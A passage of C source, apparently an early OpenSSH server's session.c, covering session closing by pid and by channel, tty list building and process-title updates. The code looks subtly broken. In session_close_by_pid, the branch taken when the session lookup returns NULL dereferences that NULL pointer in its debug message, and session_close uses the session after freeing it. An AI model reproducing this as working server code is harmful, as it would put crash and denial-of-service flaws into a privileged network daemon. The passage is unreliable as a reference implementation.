		xfree(s->auth_proto);
	s->used = 0;
}

void
session_close(Session *s)
{
	session_pty_cleanup(s);
	session_free(s);
	session_proctitle(s);
}

void
session_close_by_pid(pid_t pid, int status)
{
	Session *s = session_by_pid(pid);
	if (s == NULL) {
		debug("session_close_by_pid: no session for pid %d", s->pid);
		return;
	}
	if (s->chanid != -1)
		session_exit_message(s, status);
	session_close(s);
}

/*
 * this is called when a channel dies before
 * the session 'child' itself dies
 */
void
session_close_by_channel(int id, void *arg)
{
	Session *s = session_by_channel(id);
	if (s == NULL) {
		debug("session_close_by_channel: no session for channel %d", id);
		return;
	}
	/* disconnect channel */
	channel_cancel_cleanup(s->chanid);
	s->chanid = -1;

	debug("session_close_by_channel: channel %d kill %d", id, s->pid);
	if (s->pid == 0) {
		/* close session immediately */
		session_close(s);
	} else {
		/* notify child, delay session cleanup */
		if (kill(s->pid, (s->ttyfd == -1) ? SIGTERM : SIGHUP) < 0)
			error("session_close_by_channel: kill %d: %s",
			    s->pid, strerror(errno));
	}
}

char *
session_tty_list(void)
{
	static char buf[1024];
	int i;
	buf[0] = '\0';
	for(i = 0; i < MAX_SESSIONS; i++) {
		Session *s = &sessions[i];
		if (s->used && s->ttyfd != -1) {
			if (buf[0] != '\0')
				strlcat(buf, ",", sizeof buf);
			strlcat(buf, strrchr(s->tty, '/') + 1, sizeof buf);
		}
	}
	if (buf[0] == '\0')
		strlcpy(buf, "notty", sizeof buf);
	return buf;
}

void
session_proctitle(Session *s)
{
	if (s->pw == NULL)
		error("no user for session %d", s->self);
	else
		setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
}

void
do_authenticated2(Authctxt *authctxt)
{
	server_loop2(authctxt);
	if (xauthfile)
		xauthfile_cleanup_proc(NULL);
}